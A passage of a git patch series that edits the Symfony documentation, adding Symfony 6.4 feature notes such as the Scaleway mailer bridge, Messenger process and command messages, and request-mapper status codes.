z-jkn)qPLTt%`Yv*S<C-P2fu$rEHfR=!d&h}epc;QtYcOwm@21ws6;_z@4xpey`nYX
z>6hXuYq{Is<S*Q-QdXWYBP1;KOAnp<pVTln4#Bp5klQe5n~G}%(zp>J>W}}k^+<=c
zK5g0rhDXBxZfTsSP=^0crpWr11R+cO_p7b{yA|^Pud?wj05kI;q_l921tGgcQj}Gb
Ksg(Nq{r>|uu{8Ps

literal 0
HcmV?d00001

diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index 24e6f022e70..4b3c27391be 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -461,6 +461,24 @@ then its dump representation::
 
 .. image:: /_images/components/var_dumper/09-cut.png
 
+.. code-block:: php
+
+    class Foo
+    {
+        // $foo is uninitialized, which is different from being null
+        private int|float $foo;
+        public ?string $baz = null;
+    }
+
+    $var = new Foo();
+    dump($var);
+
+.. image:: /_images/components/var_dumper/10-uninitialized.png
+
+.. versionadded:: 6.4
+
+    Displaying uninitialized variables information was introduced in Symfony 6.4.
+
 .. _var-dumper-advanced:
 
 Advanced Usage

From cdf88112b56dbfb8953bf254dfee2a99a7504570 Mon Sep 17 00:00:00 2001
From: MrMicky <git@mrmicky.fr>
Date: Tue, 18 Jul 2023 16:07:25 +0200
Subject: [PATCH 4933/7107] [Mailer] Add Scaleway bridge documentation

---
 mailer.rst | 12 +++++++++---
 1 file changed, 9 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 5c72606af65..b463e27682c 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -111,6 +111,7 @@ Service               Install with
 `MailPace`_           ``composer require symfony/mail-pace-mailer``
 `MailerSend`_         ``composer require symfony/mailer-send-mailer``
 `Postmark`_           ``composer require symfony/postmark-mailer``
+`Scaleway`_           ``composer require symfony/scaleway-mailer``
 `SendGrid`_           ``composer require symfony/sendgrid-mailer``
 ===================== ==============================================
 
@@ -126,8 +127,8 @@ Service               Install with
 
 .. versionadded:: 6.4
 
-    The ``Brevo`` integration was renamed in Symfony 6.4 (in previous
-    Symfony versions it was called ``Sendinblue``).
+    The ``Brevo`` (in previous Symfony versions it was called ``Sendinblue``)
+    and ``Scaleway`` integrations were introduced in Symfony 6.4.
 
 .. note::
 
@@ -161,7 +162,7 @@ how to deliver messages via SendGrid. The *only* part you need to change is the
 Each provider has different environment variables that the Mailer uses to
 configure the *actual* protocol, address and authentication for delivery. Some
 also have options that can be configured with query parameters at the end of the
-``MAILER_DSN`` - like ``?region=`` for Amazon SES or Mailgun. Some providers support
+``MAILER_DSN`` - like ``?region=`` for Amazon SES, Mailgun or Scaleway. Some providers support
 sending via ``http``, ``api`` or ``smtp``. Symfony chooses the best available
 transport, but you can force to use one:
 
@@ -217,6 +218,10 @@ party provider:
 |                        | - HTTP n/a                                          |
 |                        | - API postmark+api://KEY@default                    |
 +------------------------+-----------------------------------------------------+
+| `Scaleway`_            | - SMTP scaleway+smtp://PROJECT_ID:API_KEY@default   |
+|                        | - HTTP n/a                                          |
+|                        | - API scaleway+api://PROJECT_ID:API_KEY@default     |
++------------------------+-----------------------------------------------------+
 | `Sendgrid`_            | - SMTP sendgrid+smtp://KEY@default                  |
 |                        | - HTTP n/a                                          |
 |                        | - API sendgrid+api://KEY@default                    |
@@ -1881,4 +1886,5 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
 .. _`Postmark`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Postmark/README.md
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
 .. _`S/MIME`: https://en.wikipedia.org/wiki/S/MIME
+.. _`Scaleway`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Scaleway/README.md
 .. _`SendGrid`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Sendgrid/README.md

From 458fdd5075e16949f00b0472fd0043a69223f42c Mon Sep 17 00:00:00 2001
From: Guillaume Aveline <guillaume@codr.fr>
Date: Thu, 6 Jul 2023 21:48:49 +0200
Subject: [PATCH 4934/7107] [Validator] Update `Type` constraint, add `number`,
 `finite-float` and `finite-number` validations

---
 reference/constraints/Type.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index e1b41c7e350..a0c80c031e0 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -208,5 +208,14 @@ Also, you can use ``ctype_*()`` functions from corresponding
 Make sure that the proper :phpfunction:`locale <setlocale>` is set before
 using one of these.
 
+Finally, you can use aggregated functions:
+
+* ``number``: ``is_int || is_float && !is_nan``
+* ``finite-float``: ``is_float && is_finite``
+* ``finite-number``: ``is_int || is_float && is_finite``
+
+.. versionadded:: 6.4
+    ``number``, ``finite-float`` and ``finite-number`` were introduced in Symfony 6.4.
+
 .. _built-in PHP extension: https://www.php.net/book.ctype
 .. _a list of ctype functions: https://www.php.net/ref.ctype

From 3b723478b9c94c791d0675740e801a409bb609ee Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 31 Jul 2023 11:38:32 +0200
Subject: [PATCH 4935/7107] minor

---
 reference/constraints/Type.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index a0c80c031e0..f10d1423997 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -215,6 +215,7 @@ Finally, you can use aggregated functions:
 * ``finite-number``: ``is_int || is_float && is_finite``
 
 .. versionadded:: 6.4
+
     ``number``, ``finite-float`` and ``finite-number`` were introduced in Symfony 6.4.
 
 .. _built-in PHP extension: https://www.php.net/book.ctype

From 5a532a22ab1b9c48205909bc6aaad7bf729dbbb4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 31 Jul 2023 15:10:04 +0200
Subject: [PATCH 4936/7107] Backport a fix related to Webpack Encore

---
 frontend/encore/simple-example.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 2e5043c5f83..2d46a392293 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -430,7 +430,7 @@ Encore. When you do, you'll see an error!
 .. code-block:: terminal
 
     >   Error: Install sass-loader & sass to use enableSassLoader()
-    >     yarn add sass-loader@^12.0.0 sass --dev
+    >     yarn add sass-loader@^13.0.0 sass --dev
 
 Encore supports many features. But, instead of forcing all of them on you, when
 you need a feature, Encore will tell you what you need to install. Run:
@@ -438,11 +438,11 @@ you need a feature, Encore will tell you what you need to install. Run:
 .. code-block:: terminal
 
     # if you use the Yarn package manager
-    $ yarn add sass-loader@^12.0.0 sass --dev
+    $ yarn add sass-loader@^13.0.0 sass --dev
     $ yarn encore dev --watch
 
     # if you use the npm package manager
-    $ npm install sass-loader@^12.0.0 sass --save-dev
+    $ npm install sass-loader@^13.0.0 sass --save-dev
     $ npm run watch
 
 Your app now supports Sass. Encore also supports LESS and Stylus. See

From 88655a9a6e4e093fc9e0161731b0153275aa3910 Mon Sep 17 00:00:00 2001
From: Vincent Chareunphol <vincent@devoji.com>
Date: Sun, 30 Jul 2023 22:43:31 +0200
Subject: [PATCH 4937/7107] Fix $tags type

---
 form/form_collections.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index d36dce954b3..e3c57a99fc6 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -17,7 +17,7 @@ Let's start by creating a ``Task`` entity::
     class Task
     {
         protected string $description;
-        protected ArrayCollection $tags;
+        protected Collection $tags;
 
         public function __construct()
         {
@@ -466,7 +466,7 @@ you will learn about next!).
             // ...
 
             #[ORM\ManyToMany(targetEntity: Tag::class, cascade: ['persist'])]
-            protected array $tags;
+            protected Collection $tags;
 
         .. code-block:: yaml
 

From 98604fb99ff80b0d05222f0179cc73facf26f429 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 31 Jul 2023 15:34:44 +0200
Subject: [PATCH 4938/7107] Remove an unused import

---
 form/form_collections.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index e3c57a99fc6..dbda1f44788 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -11,7 +11,6 @@ Let's start by creating a ``Task`` entity::
     // src/Entity/Task.php
     namespace App\Entity;
 
-    use Doctrine\Common\Collections\ArrayCollection;
     use Doctrine\Common\Collections\Collection;
 
     class Task

From 91a358eb69a2f769ccf787963af42f4670ccfbe6 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 29 Jul 2023 17:19:59 +0200
Subject: [PATCH 4939/7107] [Messenger] Add `RunProcessMessage`,
 `RunCommandMessage` and `PingWebhookMessage`

---
 messenger.rst | 130 ++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 130 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 6514fd786b6..93f6402673e 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1897,6 +1897,136 @@ on a case-by-case basis via the :class:`Symfony\\Component\\Messenger\\Stamp\\Se
     provides that control. See `SymfonyCasts' message serializer tutorial`_ for
     details.
 
+Running Commands And External Processes
+---------------------------------------
+
+Trigger a Command
+~~~~~~~~~~~~~~~~~
+
+It is possible to trigger any command by dispatching a
+:class:`Symfony\\Component\\Console\\Messenger\\RunCommandMessage`. Symfony
+will take care of handling this message and execute the command passed
+to the message parameter::
+
+    use Symfony\Component\Console\Messenger\RunCommandMessage;
+    use Symfony\Component\Messenger\MessageBusInterface;
+
+    class CleanUpService
+    {
+        public function __construct(private readonly MessageBusInterface $bus)
+        {
+        }
+
+        public function cleanUp(): void
+        {
+            // Long task with some caching...
+
+            // Once finished, dispatch some clean up commands
+            $this->bus->dispatch(new RunCommandMessage('app:my-cache:clean-up --dir=var/temp'));
+            $this->bus->dispatch(new RunCommandMessage('cache:clear'));
+        }
+    }
+
+You can configure the behavior in the case of something going wrong during command
+execution. To do so, you can use the ``throwOnFailure`` and ``catchExceptions``
+parameters when creating your instance of
+:class:`Symfony\\Component\\Console\\Messenger\\RunCommandMessage`.
+
+Once handled, the handler will return a
+:class:`Symfony\\Component\\Console\\Messenger\\RunCommandContext` which
+contains many useful information such as the exit code or the output of the
+process. You can refer to the page dedicated on
+:doc:`handler results </messenger/handler_results>` for more information.
+
+.. versionadded:: 6.4
+
+    The :class:`Symfony\\Component\\Console\\Messenger\\RunCommandMessage`
+    and :class:`Symfony\\Component\\Console\\Messenger\\RunCommandContext`
+    classes were introduced in Symfony 6.4.
+
+Trigger An External Process
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Messenger comes with a handy helper to run external processes by
+dispatching a message. This takes advantages of the
+:doc:`Process component </components/process>`. By dispatching a
+:class:`Symfony\\Component\\Process\\Messenger\\RunProcessMessage`, Messenger
+will take care of creating a new process with the parameters you passed::
+
+    use Symfony\Component\Messenger\MessageBusInterface;
+    use Symfony\Component\Process\Messenger\RunProcessMessage;
+
+    class CleanUpService
+    {
+        public function __construct(private readonly MessageBusInterface $bus)
+        {
+        }
+
+        public function cleanUp(): void
+        {
+            $this->bus->dispatch(new RunProcessMessage(['rm', '-rf', 'var/log/temp/*'], cwd: '/my/custom/working-dir'));
+
+            // ...
+        }
+    }
+
+Once handled, the handler will return a
+:class:`Symfony\\Component\\Process\\Messenger\\RunProcessContext` which
+contains many useful information such as the exit code or the output of the
+process. You can refer to the page dedicated on
+:doc:`handler results </messenger/handler_results>` for more information.
+
+.. versionadded:: 6.4
+
+    The :class:`Symfony\\Component\\Process\\Messenger\\RunProcessMessage`
+    and :class:`Symfony\\Component\\Process\\Messenger\\RunProcessContext`
+    classes were introduced in Symfony 6.4.
+
+Pinging A Webservice
+--------------------
+
+Sometimes, you may need to regularly ping a webservice to get its status, e.g.
+is it up or down. It is possible to do so by dispatching a
+:class:`Symfony\\Component\\HttpClient\\Messenger\\PingWebhookMessage`::
+
+    use Symfony\Component\HttpClient\Messenger\RPingWebhookMessage;
+    use Symfony\Component\Messenger\MessageBusInterface;
+
+    class LivenessService
+    {
+        public function __construct(private readonly MessageBusInterface $bus)
+        {
+        }
+
+        public function ping(): void
+        {
+            // An HttpExceptionInterface is thrown on 3xx/4xx/5xx
+            $this->bus->dispatch(new PingWebhookMessage('GET', 'https://example.com/status');
+
+            // Ping, but does not throw on 3xx/4xx/5xx
+            $this->bus->dispatch(new PingWebhookMessage('GET', 'https://example.com/status', throw: false);
+
+            // Any valid HttpClientInterface option can be used
+            $this->bus->dispatch(new PingWebhookMessage('POST', 'https://example.com/status', [
+                'headers' => [
+                    'Authorization' => 'Bearer ...'
+                ],
+                'json' => [
+                    'data' => 'some-data',
+                ],
+            ]));
+        }
+    }
+
+The handler will return a
+:class:`Symfony\\Contracts\\HttpClient\\ResponseInterface`, allowing you to
+gather and process information returned by the HTTP request.
+
+.. versionadded:: 6.4
+
+    The :class:`Symfony\\Component\\HttpClient\\Messenger\\PingWebhookMessage`
+    class was introduced in Symfony 6.4.
+
 Customizing Handlers
 --------------------
 

From 1a082a416d578650debb8165275d933383be70e7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 31 Jul 2023 18:01:36 +0200
Subject: [PATCH 4940/7107] Minor tweak

---
 security.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/security.rst b/security.rst
index 4a1bfd260c8..54a0f56c9e6 100644
--- a/security.rst
+++ b/security.rst
@@ -563,8 +563,8 @@ don't accidentally block Symfony's dev tools - which live under URLs like
 
 .. tip::
 
-    Instead of creating one long regex to match all routes you want, you're
-    also able to use an array of simpler regexes to match routes:
+    When matching several routes, instead of creating a long regex you can also
+    use an array of simpler regexes to match each route:
 
     .. configuration-block::
 
@@ -608,7 +608,7 @@ don't accidentally block Symfony's dev tools - which live under URLs like
 
     .. versionadded:: 6.4
 
-        The possibility to use an array of regex was introduced in Symfony 6.4.
+        The feature to use an array of regex was introduced in Symfony 6.4.
 
 All *real* URLs are handled by the ``main`` firewall (no ``pattern`` key means
 it matches *all* URLs). A firewall can have many modes of authentication,

From 3916d229469150757f6b93df1dee470cd2f3b08c Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 31 Jul 2023 20:24:21 +0200
Subject: [PATCH 4941/7107] Use Doctor RST 1.48.0

---
 .doctor-rst.yaml          | 18 ++++--------------
 .github/workflows/ci.yaml |  2 +-
 2 files changed, 5 insertions(+), 15 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 73cb75d09e6..29ef1e4506e 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -77,6 +77,10 @@ rules:
     deprecated_directive_min_version:
         min_version: '5.0'
 
+exclude_rule_for_file:
+    - path: configuration/multiple_kernels.rst
+      rule_name: replacement
+
 # do not report as violation
 whitelist:
     regex:
@@ -102,17 +106,3 @@ whitelist:
         - '// bin/console'
         - '.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket'
         - '..  End to End Tests (E2E)'
-        - 'First, create a new ``apps`` directory at the root of your project, which will' # configuration/multiple_kernels.rst
-        - '├─ apps/' # configuration/multiple_kernels.rst
-        - '``apps/`` directory. Therefore, you should carefully consider what is' # configuration/multiple_kernels.rst
-        - 'Since the new ``apps/api/src/`` directory will host the PHP code related to the' # configuration/multiple_kernels.rst
-        - '"Api\\": "apps/api/src/"' # configuration/multiple_kernels.rst
-        - "return $this->getProjectDir().'/apps/'.$this->id.'/config';" # configuration/multiple_kernels.rst
-        - '``apps/`` as it is used in the Kernel to load the specific application' # configuration/multiple_kernels.rst
-        - '``apps/admin/templates/`` which you will need to manually configure under the' # configuration/multiple_kernels.rst
-        - '# apps/admin/config/packages/twig.yaml' # configuration/multiple_kernels.rst
-        - "'%kernel.project_dir%/apps/admin/templates': Admin" # configuration/multiple_kernels.rst
-        - '// apps/api/tests/ApiTestCase.php' # configuration/multiple_kernels.rst
-        - 'Now, create a ``tests/`` directory inside the ``apps/api/`` application. Then,' # configuration/multiple_kernels.rst
-        - '"Api\\Tests\\": "apps/api/tests/"' # configuration/multiple_kernels.rst
-        - '<directory>apps/api/tests</directory>' # configuration/multiple_kernels.rst
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index af90b9308a3..4bed1d4dd23 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.47.2
+                uses: docker://oskarstark/doctor-rst:1.48.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From a8803e2315135b53c19b2767fcf829ce87ded4fd Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 29 Jul 2023 23:15:42 +0200
Subject: [PATCH 4942/7107] [DependencyInjection] Update kernel.reset
 explanation

---
 reference/dic_tags.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 64cac27255e..5b035d6f89b 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -711,10 +711,10 @@ kernel.reset
 
 **Purpose**: Clean up services between requests
 
-During the ``kernel.terminate`` event, Symfony looks for any service tagged
-with the ``kernel.reset`` tag to reinitialize their state. This is done by
-calling to the method whose name is configured in the ``method`` argument of
-the tag.
+In all main requests (not :ref:`sub-requests <http-kernel-sub-requests>`) except
+the first one, Symfony looks for any service tagged with the ``kernel.reset`` tag
+to reinitialize their state. This is done by calling to the method whose name is
+configured in the ``method`` argument of the tag.
 
 This is mostly useful when running your projects in application servers that
 reuse the Symfony application between requests to improve performance. This tag

From 1fb3f4dba03eb47b4aa0b9341070bdff294104be Mon Sep 17 00:00:00 2001
From: Damien Carrier <damien.carrier@alximy.io>
Date: Tue, 1 Aug 2023 10:36:13 +0200
Subject: [PATCH 4943/7107] [Doctrine] fix `AsDoctrineListener` github link in
 `Doctrine Events` doc

---
 doctrine/events.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 3a2c66cceac..6b445ef74ea 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -260,8 +260,7 @@ listener in the Symfony application by creating a new service for it and
 
 .. versionadded:: 2.7.2
 
-    The :class:`Doctrine\\Bundle\\DoctrineBundle\\Attribute\\AsDoctrineListener`
-    attribute was introduced in DoctrineBundle 2.7.2.
+    The `AsDoctrineListener`_ attribute was introduced in DoctrineBundle 2.7.2.
 
 .. tip::
 
@@ -561,3 +560,4 @@ Doctrine connection to use) you must do that in the manual service configuration
 .. _`lifecycle events`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/events.html#lifecycle-events
 .. _`official docs about Doctrine events`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/events.html
 .. _`DoctrineMongoDBBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineMongoDBBundle/index.html
+.. _`AsDoctrineListener`: https://github.com/doctrine/DoctrineBundle/blob/2.10.x/Attribute/AsDoctrineListener.php

From ab0326d1012cf5e0a3f0fb1bc67b07d978c950fd Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 1 Aug 2023 11:10:27 +0200
Subject: [PATCH 4944/7107] [HttpKernel] Add support for custom HTTP status
 code in request mappers

---
 controller.rst | 38 +++++++++++++++++++++++++++++++++-----
 1 file changed, 33 insertions(+), 5 deletions(-)

diff --git a/controller.rst b/controller.rst
index 9f2c6e1c84d..a6d7178832f 100644
--- a/controller.rst
+++ b/controller.rst
@@ -431,20 +431,34 @@ attribute in your controller::
     }
 
 You can customize the validation groups used during the mapping thanks to the
-``validationGroups`` option::
+``validationGroups`` option, but also the HTTP status to return if the
+validation fails::
+
+    use Symfony\Component\HttpFoundation\Response;
+
+    // ...
 
     public function dashboard(
-        #[MapQueryString(validationGroups: ['strict', 'edit'])] UserDTO $userDto
+        #[MapQueryString(
+            validationGroups: ['strict', 'edit'],
+            validationFailedStatusCode: Response::HTTP_UNPROCESSABLE_ENTITY
+        )] UserDTO $userDto
     ): Response
     {
         // ...
     }
 
+The default status code returned if the validation fails is 404.
+
 .. versionadded:: 6.3
 
     The :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryString` attribute
     was introduced in Symfony 6.3.
 
+.. versionadded:: 6.4
+
+    The ``validationFailedStatusCode`` parameter was introduced in Symfony 6.4.
+
 Mapping Request Payload
 ~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -492,21 +506,35 @@ your DTO::
         // ...
     }
 
-You can also customize the validation groups used as well as supported
-payload formats::
+You can also customize the validation groups used, the status code to return if
+the validation fails as well as supported payload formats::
+
+    use Symfony\Component\HttpFoundation\Response;
+
+    // ...
 
     public function dashboard(
-        #[MapRequestPayload(acceptFormat: 'json', validationGroups: ['strict', 'read'])] UserDTO $userDto
+        #[MapRequestPayload(
+            acceptFormat: 'json',
+            validationGroups: ['strict', 'read'],
+            validationFailedStatusCode: Response::HTTP_NOT_FOUND
+        )] UserDTO $userDto
     ): Response
     {
         // ...
     }
 
+The default status code returned if the validation fails is 422.
+
 .. versionadded:: 6.3
 
     The :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapRequestPayload` attribute
     was introduced in Symfony 6.3.
 
+.. versionadded:: 6.4
+
+    The ``validationFailedStatusCode`` parameter was introduced in Symfony 6.4.
+
 Managing the Session
 --------------------
 

From 494c03435be07287bf5bd4bbf50662763206ddee Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 1 Aug 2023 10:19:05 +0200
Subject: [PATCH 4945/7107] [Serializer] Groups annotation/attribute on class

---
 serializer.rst | 34 ++++++++++++++++++++++++++++++++--
 1 file changed, 32 insertions(+), 2 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index af1ee72c3e3..b483ad903d4 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -295,7 +295,7 @@ Using Serialization Groups Attributes
 -------------------------------------
 
 You can add :ref:`#[Groups] attributes <component-serializer-attributes-groups-attributes>`
-to your class::
+to your class properties::
 
     // src/Entity/Product.php
     namespace App\Entity;
@@ -321,7 +321,37 @@ to your class::
         private string $description;
     }
 
-You can now choose which groups to use when serializing::
+You can also use the ``#[Groups]`` attribute on class level::
+
+    #[ORM\Entity]
+    #[Groups(['show_product'])]
+    class Product
+    {
+        #[ORM\Id]
+        #[ORM\GeneratedValue]
+        #[ORM\Column(type: 'integer')]
+        #[Groups(['list_product'])]
+        private int $id;
+
+        #[ORM\Column(type: 'string', length: 255)]
+        #[Groups(['list_product'])]
+        private string $name;
+
+        #[ORM\Column(type: 'text')]
+        private string $description;
+    }
+
+In this example, the ``id`` and the ``name`` properties belong to the
+``show_product`` and ``list_product`` groups. The ``description`` property
+only belongs to the ``show_product`` group.
+
+.. versionadded:: 6.4
+
+    The support of the ``#[Groups]`` attribute on class level was
+    introduced in Symfony 6.4.
+
+Now that your groups are defined, you can choose which groups to use when
+serializing::
 
     use Symfony\Component\Serializer\Context\Normalizer\ObjectNormalizerContextBuilder;
 

From 37b15b562e6042cbb61919b77280e6b9e5823b3f Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 1 Aug 2023 10:40:25 +0200
Subject: [PATCH 4946/7107] [BrowserKit] Add argument $serverParameters to
 `click()` and `clickLink()`

---
 components/browser_kit.rst | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index 85aaf88a520..c744837d7b1 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -112,6 +112,28 @@ provides access to the link properties (e.g. ``$link->getMethod()``,
     $link = $crawler->selectLink('Go elsewhere...')->link();
     $client->click($link);
 
+The :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::click` and
+:method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::clickLink` methods
+can take an optional ``serverParameters`` argument. This
+parameter allows to send additional information like headers when clicking
+on a link::
+
+    use Acme\Client;
+
+    $client = new Client();
+    $client->request('GET', '/product/123');
+
+    // works both with `click()`...
+    $link = $crawler->selectLink('Go elsewhere...')->link();
+    $client->click($link, ['X-Custom-Header' => 'Some data']);
+
+    // ... and `clickLink()`
+    $crawler = $client->clickLink('Go elsewhere...', ['X-Custom-Header' => 'Some data']);
+
+.. versionadded:: 6.4
+
+    The ``serverParameters`` parameter was introduced in Symfony 6.4.
+
 Submitting Forms
 ~~~~~~~~~~~~~~~~
 

From 1e6ec525a349e230f33f7c3469adb5501b92b630 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 1 Aug 2023 10:32:17 +0200
Subject: [PATCH 4947/7107] [Workflow] Allow using public properties for the
 marking store

---
 workflow.rst | 38 +++++++++++++++++++++++++++++++++++++-
 1 file changed, 37 insertions(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index b97cb08c1c3..182b2aed825 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -190,12 +190,48 @@ The configured property will be used via its implemented getter/setter methods b
             return $this->currentPlace;
         }
 
-        public function setCurrentPlace($currentPlace, $context = []): void
+        public function setCurrentPlace(string $currentPlace, array $context = []): void
         {
             $this->currentPlace = $currentPlace;
         }
     }
 
+It is also possible to use public properties to be used by the marking
+store. The above class would become the following::
+
+    // src/Entity/BlogPost.php
+    namespace App\Entity;
+
+    class BlogPost
+    {
+        // the configured marking store property must be declared
+        public string $currentPlace;
+        public string $title;
+        public string $content;
+    }
+
+When using public properties, context is not supported. In order
+to support it, you must declare a setter to write your property::
+
+    // src/Entity/BlogPost.php
+    namespace App\Entity;
+
+    class BlogPost
+    {
+        public string $currentPlace;
+        // ...
+
+        public function setCurrentPlace(string $currentPlace, array $context = []): void
+        {
+            // Assign the property and so something with `$context`
+        }
+    }
+
+.. versionadded:: 6.4
+
+    The support of using public properties instead of getter/setter methods
+    and private properties was introduced in Symfony 6.4.
+
 .. note::
 
     The marking store type could be "multiple_state" or "single_state". A single

From 49a33c62de0c3448608d3ae731ce1c7c24c41d01 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 1 Aug 2023 14:58:12 +0200
Subject: [PATCH 4948/7107] Removing self-closing slash from <input>

---
 components/dom_crawler.rst       | 12 ++++++------
 components/form.rst              |  2 +-
 form/form_customization.rst      |  2 +-
 form/form_themes.rst             |  2 +-
 reference/constraints/File.rst   |  2 +-
 reference/forms/types/email.rst  |  2 +-
 reference/forms/types/range.rst  |  2 +-
 reference/forms/types/search.rst |  2 +-
 security.rst                     |  6 +++---
 security/csrf.rst                |  2 +-
 security/form_login.rst          | 14 +++++++-------
 security/remember_me.rst         |  2 +-
 12 files changed, 25 insertions(+), 25 deletions(-)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index db91554f026..b8c484ab114 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -535,12 +535,12 @@ To work with multi-dimensional fields:
 .. code-block:: html
 
     <form>
-        <input name="multi[]"/>
-        <input name="multi[]"/>
-        <input name="multi[dimensional]"/>
-        <input name="multi[dimensional][]" value="1"/>
-        <input name="multi[dimensional][]" value="2"/>
-        <input name="multi[dimensional][]" value="3"/>
+        <input name="multi[]">
+        <input name="multi[]">
+        <input name="multi[dimensional]">
+        <input name="multi[dimensional][]" value="1">
+        <input name="multi[dimensional][]" value="2">
+        <input name="multi[dimensional][]" value="3">
     </form>
 
 Pass an array of values::
diff --git a/components/form.rst b/components/form.rst
index 2f7b874d7bf..78a8b652773 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -507,7 +507,7 @@ done by passing a special form "view" object to your template (notice the
     {{ form_start(form) }}
         {{ form_widget(form) }}
 
-        <input type="submit"/>
+        <input type="submit">
     {{ form_end(form) }}
 
 .. image:: /_images/form/simple-form.png
diff --git a/form/form_customization.rst b/form/form_customization.rst
index 87be104c7f1..26ec9e38c7f 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -117,7 +117,7 @@ fields, so you no longer have to deal with form themes:
         value="{{ field_value(form.username) }}"
         placeholder="{{ field_label(form.username) }}"
         class="form-control"
-    />
+    >
 
     <select name="{{ field_name(form.country) }}" class="form-control">
         <option value="">{{ field_label(form.country) }}</option>
diff --git a/form/form_themes.rst b/form/form_themes.rst
index ca5981876cc..2f3a1a403ea 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -221,7 +221,7 @@ upon the form themes enabled in your app):
 
 .. code-block:: html
 
-    <input type="number" id="form_age" name="form[age]" required="required" value="33"/>
+    <input type="number" id="form_age" name="form[age]" required="required" value="33">
 
 Symfony uses a Twig block called ``integer_widget`` to render that field. This
 is because the field type is ``integer`` and you're rendering its ``widget`` (as
diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index 65841a1e26c..ad36a42abb8 100644
